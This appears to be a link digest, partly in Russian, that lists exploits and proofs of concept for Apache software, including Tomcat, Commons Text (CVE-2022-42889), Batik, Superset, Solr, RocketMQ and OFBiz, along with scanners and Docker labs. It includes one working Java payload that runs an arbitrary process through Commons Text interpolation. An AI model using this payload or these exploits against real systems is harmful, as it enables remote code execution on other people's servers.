Apache Tomcat RCE (web shell)
Action

#apache #tomcat #shell

Apache Tomcat JMXProxy RCE
exploit
#exploit #rce #apache

CVE-2022-42889
Apache - Commons Text library
CVSS: 9.8 CRITICAL
Почитать про дырку тут

POC
Java:

StringSubstitutor.createInterpolator().replace("${script:js:new java.lang.ProcessBuilder(\"calc\").start()}");

#apache

CVE-2022-42889
Почитать про дырку тут
Сканер дырки на питоне text4shell-tools
Сканер дырки для BurpSuite burp-text4shell
Поиграться с дыркой в докере text4shell-docker
Сам POC

#apache #exploit #poc

CVE-2022-40146 exploit
Дыры в элементах управления безопасностью Apache Batik по умолчанию — SSRF и RCE через удаленную загрузку классов
What da fuck is this ? Read

#apache #rce #java

CVE-2023-27524
Apache Superset Auth Bypass
POC exploit

день бога я смотрю

#apache #poc

Apache Solr 8.3.1
admin panel RCE (Windows)
readme
exploit

#apache #exploit

CVE-2023-37582 EXPLOIT
Apache RocketMQ
*
Для теста присутствует RocketMQ environment via Docker
*
exploit
*
#apache #exploit #docker

CVE-2023-49070 - Apache ofbiz
pre-auth RCE POC

#apache